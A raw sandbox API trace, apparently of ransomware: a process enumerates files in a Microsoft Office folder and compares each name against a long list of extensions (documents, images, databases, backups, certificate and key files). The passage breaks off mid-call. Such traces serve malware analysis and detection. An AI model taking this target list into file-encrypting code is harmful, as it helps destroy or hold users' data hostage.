ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80b3e121, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x9e226c00, ftLastWriteTime.dwHighDateTime=0x1d0b361, nFileSizeHigh=0x0, nFileSizeLow=0x406d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppVShNotify.exe", cAlternateFileName="APPVSH~1.EXE")) returned 1 [0089.111] FindNextFileW (in: hFindFile=0x4260710, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80b3e121, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80b3e121, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x14115400, ftLastWriteTime.dwHighDateTime=0x1d0d7a5, nFileSizeHigh=0x0, nFileSizeLow=0xc84c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2R32.dll", cAlternateFileName="")) returned 1 [0089.111] FindNextFileW (in: hFindFile=0x4260710, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80b3e121, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80b3e121, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xb4b54300, ftLastWriteTime.dwHighDateTime=0x1d0d7a8, nFileSizeHigh=0x0, nFileSizeLow=0x127260, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2R64.dll", cAlternateFileName="")) returned 1 [0089.111] FindNextFileW (in: hFindFile=0x4260710, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80b64383, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80b64383, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x8ee04f00, ftLastWriteTime.dwHighDateTime=0x1d0d67f, nFileSizeHigh=0x0, nFileSizeLow=0x1028, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RHeartbeatConfig.xml", cAlternateFileName="C2RHEA~1.XML")) returned 1 [0089.112] FindNextFileW (in: hFindFile=0x4260710, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x808dbb6b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x808dbb6b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xb3841600, ftLastWriteTime.dwHighDateTime=0x1d0d7a8, nFileSizeHigh=0x0, nFileSizeLow=0xdc4b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RUI.en-us.dll", cAlternateFileName="C2RUIE~1.DLL")) returned 1 [0089.112] lstrlenW (lpString="C2RUI.en-us.dll") returned 15 [0089.112] lstrlenW (lpString=".1cd") returned 4 [0089.112] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0089.112] lstrlenW (lpString=".3ds") returned 4 [0089.112] lstrcmpiW (lpString1=".3ds", lpString2=".dll") returned -1 [0089.112] lstrlenW (lpString=".3fr") returned 4 [0089.112] lstrcmpiW (lpString1=".3fr", lpString2=".dll") returned -1 [0089.112] lstrlenW (lpString=".3g2") returned 4 [0089.112] lstrcmpiW (lpString1=".3g2", lpString2=".dll") returned -1 [0089.112] lstrlenW (lpString=".3gp") returned 4 [0089.112] lstrcmpiW (lpString1=".3gp", lpString2=".dll") returned -1 [0089.112] lstrlenW (lpString=".7z") returned 3 [0089.112] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0089.112] lstrlenW (lpString=".accda") returned 6 [0089.112] lstrcmpiW (lpString1=".accda", lpString2="us.dll") returned -1 [0089.112] lstrlenW (lpString=".accdb") returned 6 [0089.112] lstrcmpiW (lpString1=".accdb", lpString2="us.dll") returned -1 [0089.112] lstrlenW (lpString=".accdc") returned 6 [0089.112] lstrcmpiW (lpString1=".accdc", lpString2="us.dll") returned -1 [0089.112] lstrlenW (lpString=".accde") returned 6 [0089.112] lstrcmpiW (lpString1=".accde", lpString2="us.dll") returned -1 [0089.113] lstrlenW (lpString=".accdt") returned 6 [0089.113] lstrcmpiW (lpString1=".accdt", lpString2="us.dll") returned -1 [0089.113] lstrlenW (lpString=".accdw") returned 6 [0089.113] lstrcmpiW (lpString1=".accdw", lpString2="us.dll") returned -1 [0089.113] lstrlenW (lpString=".adb") returned 4 [0089.113] lstrcmpiW (lpString1=".adb", lpString2=".dll") returned -1 [0089.113] lstrlenW (lpString=".adp") returned 4 [0089.113] lstrcmpiW (lpString1=".adp", lpString2=".dll") returned -1 [0089.113] lstrlenW (lpString=".ai") returned 3 [0089.113] lstrcmpiW (lpString1=".ai", lpString2="dll") returned -1 [0089.113] lstrlenW (lpString=".ai3") returned 4 [0089.113] lstrcmpiW (lpString1=".ai3", lpString2=".dll") returned -1 [0089.113] lstrlenW (lpString=".ai4") returned 4 [0089.113] lstrcmpiW (lpString1=".ai4", lpString2=".dll") returned -1 [0089.113] lstrlenW (lpString=".ai5") returned 4 [0089.113] lstrcmpiW (lpString1=".ai5", lpString2=".dll") returned -1 [0089.113] lstrlenW (lpString=".ai6") returned 4 [0089.113] lstrcmpiW (lpString1=".ai6", lpString2=".dll") returned -1 [0089.113] lstrlenW (lpString=".ai7") returned 4 [0089.113] lstrcmpiW (lpString1=".ai7", lpString2=".dll") returned -1 [0089.113] lstrlenW (lpString=".ai8") returned 4 [0089.113] lstrcmpiW (lpString1=".ai8", lpString2=".dll") returned -1 [0089.113] lstrlenW (lpString=".anim") returned 5 [0089.113] lstrcmpiW (lpString1=".anim", lpString2="s.dll") returned -1 [0089.113] lstrlenW (lpString=".arw") returned 4 [0089.113] lstrcmpiW (lpString1=".arw", lpString2=".dll") returned -1 [0089.113] lstrlenW (lpString=".as") returned 3 [0089.114] lstrcmpiW (lpString1=".as", lpString2="dll") returned -1 [0089.114] lstrlenW (lpString=".asa") returned 4 [0089.114] lstrcmpiW (lpString1=".asa", lpString2=".dll") returned -1 [0089.114] lstrlenW (lpString=".asc") returned 4 [0089.114] lstrcmpiW (lpString1=".asc", lpString2=".dll") returned -1 [0089.114] lstrlenW (lpString=".ascx") returned 5 [0089.114] lstrcmpiW (lpString1=".ascx", lpString2="s.dll") returned -1 [0089.114] lstrlenW (lpString=".asm") returned 4 [0089.114] lstrcmpiW (lpString1=".asm", lpString2=".dll") returned -1 [0089.114] lstrlenW (lpString=".asmx") returned 5 [0089.114] lstrcmpiW (lpString1=".asmx", lpString2="s.dll") returned -1 [0089.114] lstrlenW (lpString=".asp") returned 4 [0089.114] lstrcmpiW (lpString1=".asp", lpString2=".dll") returned -1 [0089.114] lstrlenW (lpString=".aspx") returned 5 [0089.114] lstrcmpiW (lpString1=".aspx", lpString2="s.dll") returned -1 [0089.114] lstrlenW (lpString=".asr") returned 4 [0089.114] lstrcmpiW (lpString1=".asr", lpString2=".dll") returned -1 [0089.114] lstrlenW (lpString=".asx") returned 4 [0089.114] lstrcmpiW (lpString1=".asx", lpString2=".dll") returned -1 [0089.114] lstrlenW (lpString=".avi") returned 4 [0089.114] lstrcmpiW (lpString1=".avi", lpString2=".dll") returned -1 [0089.114] lstrlenW (lpString=".avs") returned 4 [0089.114] lstrcmpiW (lpString1=".avs", lpString2=".dll") returned -1 [0089.114] lstrlenW (lpString=".backup") returned 7 [0089.115] lstrcmpiW (lpString1=".backup", lpString2="-us.dll") returned -1 [0089.115] lstrlenW (lpString=".bak") returned 4 [0089.115] lstrcmpiW (lpString1=".bak", lpString2=".dll") returned -1 [0089.115] lstrlenW (lpString=".bay") returned 4 [0089.115] lstrcmpiW (lpString1=".bay", lpString2=".dll") returned -1 [0089.115] lstrlenW (lpString=".bd") returned 3 [0089.115] lstrcmpiW (lpString1=".bd", lpString2="dll") returned -1 [0089.115] lstrlenW (lpString=".bin") returned 4 [0089.115] lstrcmpiW (lpString1=".bin", lpString2=".dll") returned -1 [0089.115] lstrlenW (lpString=".bmp") returned 4 [0089.115] lstrcmpiW (lpString1=".bmp", lpString2=".dll") returned -1 [0089.115] lstrlenW (lpString=".bz2") returned 4 [0089.115] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0089.115] lstrlenW (lpString=".c") returned 2 [0089.115] lstrcmpiW (lpString1=".c", lpString2="ll") returned -1 [0089.115] lstrlenW (lpString=".cdr") returned 4 [0089.115] lstrcmpiW (lpString1=".cdr", lpString2=".dll") returned -1 [0089.115] lstrlenW (lpString=".cer") returned 4 [0089.115] lstrcmpiW (lpString1=".cer", lpString2=".dll") returned -1 [0089.115] lstrlenW (lpString=".cf") returned 3 [0089.115] lstrcmpiW (lpString1=".cf", lpString2="dll") returned -1 [0089.115] lstrlenW (lpString=".cfc") returned 4 [0089.115] lstrcmpiW (lpString1=".cfc", lpString2=".dll") returned -1 [0089.115] lstrlenW (lpString=".cfm") returned 4 [0089.115] lstrcmpiW (lpString1=".cfm", lpString2=".dll") returned -1 [0089.116] lstrlenW (lpString=".cfml") returned 5 [0089.116] lstrcmpiW (lpString1=".cfml", lpString2="s.dll") returned -1 [0089.116] lstrlenW (lpString=".cfu") returned 4 [0089.116] lstrcmpiW (lpString1=".cfu", lpString2=".dll") returned -1 [0089.116] lstrlenW (lpString=".chm") returned 4 [0089.116] lstrcmpiW (lpString1=".chm", lpString2=".dll") returned -1 [0089.116] lstrlenW (lpString=".cin") returned 4 [0089.116] lstrcmpiW (lpString1=".cin", lpString2=".dll") returned -1 [0089.116] lstrlenW (lpString=".class") returned 6 [0089.117] lstrcmpiW (lpString1=".class", lpString2="us.dll") returned -1 [0089.117] lstrlenW (lpString=".clx") returned 4 [0089.117] lstrcmpiW (lpString1=".clx", lpString2=".dll") returned -1 [0089.117] lstrlenW (lpString=".config") returned 7 [0089.117] lstrcmpiW (lpString1=".config", lpString2="-us.dll") returned -1 [0089.117] lstrlenW (lpString=".cpp") returned 4 [0089.117] lstrcmpiW (lpString1=".cpp", lpString2=".dll") returned -1 [0089.117] lstrlenW (lpString=".cr2") returned 4 [0089.117] lstrcmpiW (lpString1=".cr2", lpString2=".dll") returned -1 [0089.117] lstrlenW (lpString=".crt") returned 4 [0089.117] lstrcmpiW (lpString1=".crt", lpString2=".dll") returned -1 [0089.117] lstrlenW (lpString=".crw") returned 4 [0089.117] lstrcmpiW (lpString1=".crw", lpString2=".dll") returned -1 [0089.117] lstrlenW (lpString=".cs") returned 3 [0089.117] lstrcmpiW (lpString1=".cs", lpString2="dll") returned -1 [0089.117] lstrlenW (lpString=".css") returned 4 [0089.117] lstrcmpiW (lpString1=".css", lpString2=".dll") returned -1 [0089.117] lstrlenW (lpString=".csv") returned 4 [0089.117] lstrcmpiW (lpString1=".csv", lpString2=".dll") returned -1 [0089.117] lstrlenW (lpString=".cub") returned 4 [0089.117] lstrcmpiW (lpString1=".cub", lpString2=".dll") returned -1 [0089.117] lstrlenW (lpString=".dae") returned 4 [0089.117] lstrcmpiW (lpString1=".dae", lpString2=".dll") returned -1 [0089.117] lstrlenW (lpString=".dat") returned 4 [0089.117] lstrcmpiW (lpString1=".dat", lpString2=".dll") returned -1 [0089.118] lstrlenW (lpString=".db") returned 3 [0089.118] lstrcmpiW (lpString1=".db", lpString2="dll") returned -1 [0089.118] lstrlenW (lpString=".dbf") returned 4 [0089.118] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0089.118] lstrlenW (lpString=".dbx") returned 4 [0089.118] lstrcmpiW (lpString1=".dbx", lpString2=".dll") returned -1 [0089.118] lstrlenW (lpString=".dc3") returned 4 [0089.118] lstrcmpiW (lpString1=".dc3", lpString2=".dll") returned -1 [0089.118] lstrlenW (lpString=".dcm") returned 4 [0089.118] lstrcmpiW (lpString1=".dcm", lpString2=".dll") returned -1 [0089.118] lstrlenW (lpString=".dcr") returned 4 [0089.118] lstrcmpiW (lpString1=".dcr", lpString2=".dll") returned -1 [0089.118] lstrlenW (lpString=".der") returned 4 [0089.118] lstrcmpiW (lpString1=".der", lpString2=".dll") returned -1 [0089.118] lstrlenW (lpString=".dib") returned 4 [0089.118] lstrcmpiW (lpString1=".dib", lpString2=".dll") returned -1 [0089.118] lstrlenW (lpString=".dic") returned 4 [0089.118] lstrcmpiW (lpString1=".dic", lpString2=".dll") returned -1 [0089.118] lstrlenW (lpString=".dif") returned 4 [0089.118] lstrcmpiW (lpString1=".dif", lpString2=".dll") returned -1 [0089.118] lstrlenW (lpString=".divx") returned 5 [0089.118] lstrcmpiW (lpString1=".divx", lpString2="s.dll") returned -1 [0089.118] lstrlenW (lpString=".djvu") returned 5 [0089.118] lstrcmpiW (lpString1=".djvu", lpString2="s.dll") returned -1 [0089.118] lstrlenW (lpString=".dng") returned 4 [0089.119] lstrcmpiW (lpString1=".dng", lpString2=".dll") returned 1 [0089.119] lstrlenW (lpString=".doc") returned 4 [0089.119] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0089.119] lstrlenW (lpString=".docm") returned 5 [0089.119] lstrcmpiW (lpString1=".docm", lpString2="s.dll") returned -1 [0089.119] lstrlenW (lpString=".docx") returned 5 [0089.119] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0089.119] lstrlenW (lpString=".dot") returned 4 [0089.119] lstrcmpiW (lpString1=".dot", lpString2=".dll") returned 1 [0089.119] lstrlenW (lpString=".dotm") returned 5 [0089.119] lstrcmpiW (lpString1=".dotm", lpString2="s.dll") returned -1 [0089.119] lstrlenW (lpString=".dotx") returned 5 [0089.119] lstrcmpiW (lpString1=".dotx", lpString2="s.dll") returned -1 [0089.119] lstrlenW (lpString=".dpx") returned 4 [0089.119] lstrcmpiW (lpString1=".dpx", lpString2=".dll") returned 1 [0089.119] lstrlenW (lpString=".dqy") returned 4 [0089.119] lstrcmpiW (lpString1=".dqy", lpString2=".dll") returned 1 [0089.119] lstrlenW (lpString=".dsn") returned 4 [0089.119] lstrcmpiW (lpString1=".dsn", lpString2=".dll") returned 1 [0089.119] lstrlenW (lpString=".dt") returned 3 [0089.119] lstrcmpiW (lpString1=".dt", lpString2="dll") returned -1 [0089.119] lstrlenW (lpString=".dtd") returned 4 [0089.119] lstrcmpiW (lpString1=".dtd", lpString2=".dll") returned 1 [0089.119] lstrlenW (lpString=".dwg") returned 4 [0089.119] lstrcmpiW (lpString1=".dwg", lpString2=".dll") returned 1 [0089.119] lstrlenW (lpString=".dwt") returned 4 [0089.120] lstrcmpiW (lpString1=".dwt", lpString2=".dll") returned 1 [0089.120] lstrlenW (lpString=".dx") returned 3 [0089.120] lstrcmpiW (lpString1=".dx", lpString2="dll") returned -1 [0089.120] lstrlenW (lpString=".dxf") returned 4 [0089.120] lstrcmpiW (lpString1=".dxf", lpString2=".dll") returned 1 [0089.120] lstrlenW (lpString=".edml") returned 5 [0089.120] lstrcmpiW (lpString1=".edml", lpString2="s.dll") returned -1 [0089.120] lstrlenW (lpString=".efd") returned 4 [0089.120] lstrcmpiW (lpString1=".efd", lpString2=".dll") returned 1 [0089.120] lstrlenW (lpString=".elf") returned 4 [0089.120] lstrcmpiW (lpString1=".elf", lpString2=".dll") returned 1 [0089.120] lstrlenW (lpString=".emf") returned 4 [0089.120] lstrcmpiW (lpString1=".emf", lpString2=".dll") returned 1 [0089.120] lstrlenW (lpString=".emz") returned 4 [0089.120] lstrcmpiW (lpString1=".emz", lpString2=".dll") returned 1 [0089.120] lstrlenW (lpString=".epf") returned 4 [0089.120] lstrcmpiW (lpString1=".epf", lpString2=".dll") returned 1 [0089.120] lstrlenW (lpString=".eps") returned 4 [0089.120] lstrcmpiW (lpString1=".eps", lpString2=".dll") returned 1 [0089.120] lstrlenW (lpString=".epsf") returned 5 [0089.120] lstrcmpiW (lpString1=".epsf", lpString2="s.dll") returned -1 [0089.120] lstrlenW (lpString=".epsp") returned 5 [0089.120] lstrcmpiW (lpString1=".epsp", lpString2="s.dll") returned -1 [0089.120] lstrlenW (lpString=".erf") returned 4 [0089.120] lstrcmpiW (lpString1=".erf", lpString2=".dll") returned 1 [0089.120] lstrlenW (lpString=".exr") returned 4 [0089.121] lstrcmpiW (lpString1=".exr", lpString2=".dll") returned 1 [0089.121] lstrlenW (lpString=".f4v") returned 4 [0089.121] lstrcmpiW (lpString1=".f4v", lpString2=".dll") returned 1 [0089.121] lstrlenW (lpString=".fido") returned 5 [0089.121] lstrcmpiW (lpString1=".fido", lpString2="s.dll") returned -1 [0089.121] lstrlenW (lpString=".flm") returned 4 [0089.121] lstrcmpiW (lpString1=".flm", lpString2=".dll") returned 1 [0089.121] lstrlenW (lpString=".flv") returned 4 [0089.121] lstrcmpiW (lpString1=".flv", lpString2=".dll") returned 1 [0089.121] lstrlenW (lpString=".frm") returned 4 [0089.121] lstrcmpiW (lpString1=".frm", lpString2=".dll") returned 1 [0089.121] lstrlenW (lpString=".fxg") returned 4 [0089.121] lstrcmpiW (lpString1=".fxg", lpString2=".dll") returned 1 [0089.121] lstrlenW (lpString=".geo") returned 4 [0089.121] lstrcmpiW (lpString1=".geo", lpString2=".dll") returned 1 [0089.121] lstrlenW (lpString=".gif") returned 4 [0089.121] lstrcmpiW (lpString1=".gif", lpString2=".dll") returned 1 [0089.121] lstrlenW (lpString=".grs") returned 4 [0089.121] lstrcmpiW (lpString1=".grs", lpString2=".dll") returned 1 [0089.121] lstrlenW (lpString=".gz") returned 3 [0089.121] lstrcmpiW (lpString1=".gz", lpString2="dll") returned -1 [0089.121] lstrlenW (lpString=".h") returned 2 [0089.121] lstrcmpiW (lpString1=".h", lpString2="ll") returned -1 [0089.121] lstrlenW (lpString=".hdr") returned 4 [0089.121] lstrcmpiW (lpString1=".hdr", lpString2=".dll") returned 1 [0089.122] lstrlenW (lpString=".hpp") returned 4 [0089.122] lstrcmpiW (lpString1=".hpp", lpString2=".dll") returned 1 [0089.122] lstrlenW (lpString=".hta") returned 4 [0089.122] lstrcmpiW (lpString1=".hta", lpString2=".dll") returned 1 [0089.122] lstrlenW (lpString=".htc") returned 4 [0089.122] lstrcmpiW (lpString1=".htc", lpString2=".dll") returned 1 [0089.122] lstrlenW (lpString=".htm") returned 4 [0089.122] lstrcmpiW (lpString1=".htm", lpString2=".dll") returned 1 [0089.122] lstrlenW (lpString=".html") returned 5 [0089.122] lstrcmpiW (lpString1=".html", lpString2="s.dll") returned -1 [0089.122] lstrlenW (lpString=".icb") returned 4 [0089.122] lstrcmpiW (lpString1=".icb", lpString2=".dll") returned 1 [0089.122] lstrlenW (lpString=".ics") returned 4 [0089.122] lstrcmpiW (lpString1=".ics", lpString2=".dll") returned 1 [0089.122] lstrlenW (lpString=".iff") returned 4 [0089.122] lstrcmpiW (lpString1=".iff", lpString2=".dll") returned 1 [0089.122] lstrlenW (lpString=".inc") returned 4 [0089.122] lstrcmpiW (lpString1=".inc", lpString2=".dll") returned 1 [0089.122] lstrlenW (lpString=".indd") returned 5 [0089.122] lstrcmpiW (lpString1=".indd", lpString2="s.dll") returned -1 [0089.122] lstrlenW (lpString=".ini") returned 4 [0089.122] lstrcmpiW (lpString1=".ini", lpString2=".dll") returned 1 [0089.122] lstrlenW (lpString=".iqy") returned 4 [0089.122] lstrcmpiW (lpString1=".iqy", lpString2=".dll") returned 1 [0089.122] lstrlenW (lpString=".j2c") returned 4 [0089.123] lstrcmpiW (lpString1=".j2c", lpString2=".dll") returned 1 [0089.123] lstrlenW (lpString=".j2k") returned 4 [0089.123] lstrcmpiW (lpString1=".j2k", lpString2=".dll") returned 1 [0089.123] lstrlenW (lpString=".java") returned 5 [0089.123] lstrcmpiW (lpString1=".java", lpString2="s.dll") returned -1 [0089.123] lstrlenW (lpString=".jp2") returned 4 [0089.123] lstrcmpiW (lpString1=".jp2", lpString2=".dll") returned 1 [0089.123] lstrlenW (lpString=".jpc") returned 4 [0089.123] lstrcmpiW (lpString1=".jpc", lpString2=".dll") returned 1 [0089.123] lstrlenW (lpString=".jpe") returned 4 [0089.123] lstrcmpiW (lpString1=".jpe", lpString2=".dll") returned 1 [0089.123] lstrlenW (lpString=".jpeg") returned 5 [0089.123] lstrcmpiW (lpString1=".jpeg", lpString2="s.dll") returned -1 [0089.123] lstrlenW (lpString=".jpf") returned 4 [0089.123] lstrcmpiW (lpString1=".jpf", lpString2=".dll") returned 1 [0089.123] lstrlenW (lpString=".jpg") returned 4 [0089.123] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0089.123] lstrlenW (lpString=".jpx") returned 4 [0089.123] lstrcmpiW (lpString1=".jpx", lpString2=".dll") returned 1 [0089.123] lstrlenW (lpString=".js") returned 3 [0089.123] lstrcmpiW (lpString1=".js", lpString2="dll") returned -1 [0089.123] lstrlenW (lpString=".jsf") returned 4 [0089.123] lstrcmpiW (lpString1=".jsf", lpString2=".dll") returned 1 [0089.123] lstrlenW (lpString=".json") returned 5 [0089.123] lstrcmpiW (lpString1=".json", lpString2="s.dll") returned -1 [0089.123] lstrlenW (lpString=".jsp") returned 4 [0089.124] lstrcmpiW (lpString1=".jsp", lpString2=".dll") returned 1 [0089.124] lstrlenW (lpString=".kdc") returned 4 [0089.124] lstrcmpiW (lpString1=".kdc", lpString2=".dll") returned 1 [0089.124] lstrlenW (lpString=".kmz") returned 4 [0089.124] lstrcmpiW (lpString1=".kmz", lpString2=".dll") returned 1 [0089.124] lstrlenW (lpString=".kwm") returned 4 [0089.124] lstrcmpiW (lpString1=".kwm", lpString2=".dll") returned 1 [0089.124] lstrlenW (lpString=".lasso") returned 6 [0089.124] lstrcmpiW (lpString1=".lasso", lpString2="us.dll") returned -1 [0089.124] lstrlenW (lpString=".lbi") returned 4 [0089.124] lstrcmpiW (lpString1=".lbi", lpString2=".dll") returned 1 [0089.124] lstrlenW (lpString=".lgf") returned 4 [0089.124] lstrcmpiW (lpString1=".lgf", lpString2=".dll") returned 1 [0089.124] lstrlenW (lpString=".lgp") returned 4 [0089.124] lstrcmpiW (lpString1=".lgp", lpString2=".dll") returned 1 [0089.124] lstrlenW (lpString=".log") returned 4 [0089.124] lstrcmpiW (lpString1=".log", lpString2=".dll") returned 1 [0089.124] lstrlenW (lpString=".m1v") returned 4 [0089.124] lstrcmpiW (lpString1=".m1v", lpString2=".dll") returned 1 [0089.124] lstrlenW (lpString=".m4a") returned 4 [0089.124] lstrcmpiW (lpString1=".m4a", lpString2=".dll") returned 1 [0089.124] lstrlenW (lpString=".m4v") returned 4 [0089.124] lstrcmpiW (lpString1=".m4v", lpString2=".dll") returned 1 [0089.124] lstrlenW (lpString=".max") returned 4 [0089.124] lstrcmpiW (lpString1=".max", lpString2=".dll") returned 1 [0089.124] lstrlenW (lpString=".md") returned 3 [0089.125] lstrcmpiW (lpString1=".md", lpString2="dll") returned -1 [0089.125] lstrlenW (lpString=".mda") returned 4 [0089.125] lstrcmpiW (lpString1=".mda", lpString2=".dll") returned 1 [0089.125] lstrlenW (lpString=".mdb") returned 4 [0089.125] lstrcmpiW (lpString1=".mdb", lpString2=".dll") returned 1 [0089.125] lstrlenW (lpString=".mde") returned 4 [0089.125] lstrcmpiW (lpString1=".mde", lpString2=".dll") returned 1 [0089.125] lstrlenW (lpString=".mdf") returned 4 [0089.125] lstrcmpiW (lpString1=".mdf", lpString2=".dll") returned 1 [0089.125] lstrlenW (lpString=".mdw") returned 4 [0089.125] lstrcmpiW (lpString1=".mdw", lpString2=".dll") returned 1 [0089.125] lstrlenW (lpString=".mef") returned 4 [0089.125] lstrcmpiW (lpString1=".mef", lpString2=".dll") returned 1 [0089.125] lstrlenW (lpString=".mft") returned 4 [0089.125] lstrcmpiW (lpString1=".mft", lpString2=".dll") returned 1 [0089.125] lstrlenW (lpString=".mfw") returned 4 [0089.125] lstrcmpiW (lpString1=".mfw", lpString2=".dll") returned 1 [0089.125] lstrlenW (lpString=".mht") returned 4 [0089.125] lstrcmpiW (lpString1=".mht", lpString2=".dll") returned 1 [0089.125] lstrlenW (lpString=".mhtml") returned 6 [0089.125] lstrcmpiW (lpString1=".mhtml", lpString2="us.dll") returned -1 [0089.125] lstrlenW (lpString=".mka") returned 4 [0089.125] lstrcmpiW (lpString1=".mka", lpString2=".dll") returned 1 [0089.125] lstrlenW (lpString=".mkidx") returned 6 [0089.125] lstrcmpiW (lpString1=".mkidx", lpString2="us.dll") returned -1 [0089.125] lstrlenW (lpString=".mkv") returned 4 [0089.126] lstrcmpiW (lpString1=".mkv", lpString2=".dll") returned 1 [0089.126] lstrlenW (lpString=".mos") returned 4 [0089.126] lstrcmpiW (lpString1=".mos", lpString2=".dll") returned 1 [0089.126] lstrlenW (lpString=".mov") returned 4 [0089.126] lstrcmpiW (lpString1=".mov", lpString2=".dll") returned 1 [0089.126] lstrlenW (lpString=".mp3") returned 4 [0089.126] lstrcmpiW (lpString1=".mp3", lpString2=".dll") returned 1 [0089.126] lstrlenW (lpString=".mp4") returned 4 [0089.126] lstrcmpiW (lpString1=".mp4", lpString2=".dll") returned 1 [0089.126] lstrlenW (lpString=".mpeg") returned 5 [0089.126] lstrcmpiW (lpString1=".mpeg", lpString2="s.dll") returned -1 [0089.126] lstrlenW (lpString=".mpg") returned 4 [0089.126] lstrcmpiW (lpString1=".mpg", lpString2=".dll") returned 1 [0089.126] lstrlenW (lpString=".mpv") returned 4 [0089.126] lstrcmpiW (lpString1=".mpv", lpString2=".dll") returned 1 [0089.126] lstrlenW (lpString=".mrw") returned 4 [0089.126] lstrcmpiW (lpString1=".mrw", lpString2=".dll") returned 1 [0089.126] lstrlenW (lpString=".msg") returned 4 [0089.126] lstrcmpiW (lpString1=".msg", lpString2=".dll") returned 1 [0089.126] lstrlenW (lpString=".mxl") returned 4 [0089.126] lstrcmpiW (lpString1=".mxl", lpString2=".dll") returned 1 [0089.126] lstrlenW (lpString=".myd") returned 4 [0089.126] lstrcmpiW (lpString1=".myd", lpString2=".dll") returned 1 [0089.126] lstrlenW (lpString=".myi") returned 4 [0089.126] lstrcmpiW (lpString1=".myi", lpString2=".dll") returned 1 [0089.127] lstrlenW (lpString=".nef") returned 4 [0089.127] lstrcmpiW (lpString1=".nef", lpString2=".dll") returned 1 [0089.127] lstrlenW (lpString=".nrw") returned 4 [0089.127] lstrcmpiW (lpString1=".nrw", lpString2=".dll") returned 1 [0089.127] lstrlenW (lpString=".obj") returned 4 [0089.127] lstrcmpiW (lpString1=".obj", lpString2=".dll") returned 1 [0089.127] lstrlenW (lpString=".odb") returned 4 [0089.127] lstrcmpiW (lpString1=".odb", lpString2=".dll") returned 1 [0089.127] lstrlenW (lpString=".odc") returned 4 [0089.127] lstrcmpiW (lpString1=".odc", lpString2=".dll") returned 1 [0089.127] lstrlenW (lpString=".odm") returned 4 [0089.127] lstrcmpiW (lpString1=".odm", lpString2=".dll") returned 1 [0089.127] lstrlenW (lpString=".odp") returned 4 [0089.127] lstrcmpiW (lpString1=".odp", lpString2=".dll") returned 1 [0089.127] lstrlenW (lpString=".ods") returned 4 [0089.127] lstrcmpiW (lpString1=".ods", lpString2=".dll") returned 1 [0089.127] lstrlenW (lpString=".oft") returned 4 [0089.127] lstrcmpiW (lpString1=".oft", lpString2=".dll") returned 1 [0089.127] lstrlenW (lpString=".one") returned 4 [0089.127] lstrcmpiW (lpString1=".one", lpString2=".dll") returned 1 [0089.127] lstrlenW (lpString=".onepkg") returned 7 [0089.127] lstrcmpiW (lpString1=".onepkg", lpString2="-us.dll") returned -1 [0089.127] lstrlenW (lpString=".onetoc2") returned 8 [0089.127] lstrcmpiW (lpString1=".onetoc2", lpString2="n-us.dll") returned -1 [0089.127] lstrlenW (lpString=".opt") returned 4 [0089.127] lstrcmpiW (lpString1=".opt", lpString2=".dll") returned 1 [0089.128] lstrlenW (lpString=".oqy") returned 4 [0089.128] lstrcmpiW (lpString1=".oqy", lpString2=".dll") returned 1 [0089.128] lstrlenW (lpString=".orf") returned 4 [0089.128] lstrcmpiW (lpString1=".orf", lpString2=".dll") returned 1 [0089.128] lstrlenW (lpString=".p12") returned 4 [0089.128] lstrcmpiW (lpString1=".p12", lpString2=".dll") returned 1 [0089.128] lstrlenW (lpString=".p7b") returned 4 [0089.128] lstrcmpiW (lpString1=".p7b", lpString2=".dll") returned 1 [0089.128] lstrlenW (lpString=".p7c") returned 4 [0089.128] lstrcmpiW (lpString1=".p7c", lpString2=".dll") returned 1 [0089.128] lstrlenW (lpString=".pam") returned 4 [0089.128] lstrcmpiW (lpString1=".pam", lpString2=".dll") returned 1 [0089.128] lstrlenW (lpString=".pbm") returned 4 [0089.128] lstrcmpiW (lpString1=".pbm", lpString2=".dll") returned 1 [0089.128] lstrlenW (lpString=".pct") returned 4 [0089.128] lstrcmpiW (lpString1=".pct", lpString2=".dll") returned 1 [0089.128] lstrlenW (lpString=".pcx") returned 4 [0089.128] lstrcmpiW (lpString1=".pcx", lpString2=".dll") returned 1 [0089.128] lstrlenW (lpString=".pdd") returned 4 [0089.128] lstrcmpiW (lpString1=".pdd", lpString2=".dll") returned 1 [0089.128] lstrlenW (lpString=".pdf") returned 4 [0089.128] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0089.128] lstrlenW (lpString=".pdp") returned 4 [0089.128] lstrcmpiW (lpString1=".pdp", lpString2=".dll") returned 1 [0089.128] lstrlenW (lpString=".pef") returned 4 [0089.129] lstrcmpiW (lpString1=".pef", lpString2=".dll") returned 1 [0089.129] lstrlenW (lpString=".pem") returned 4 [0089.129] lstrcmpiW (lpString1=".pem", 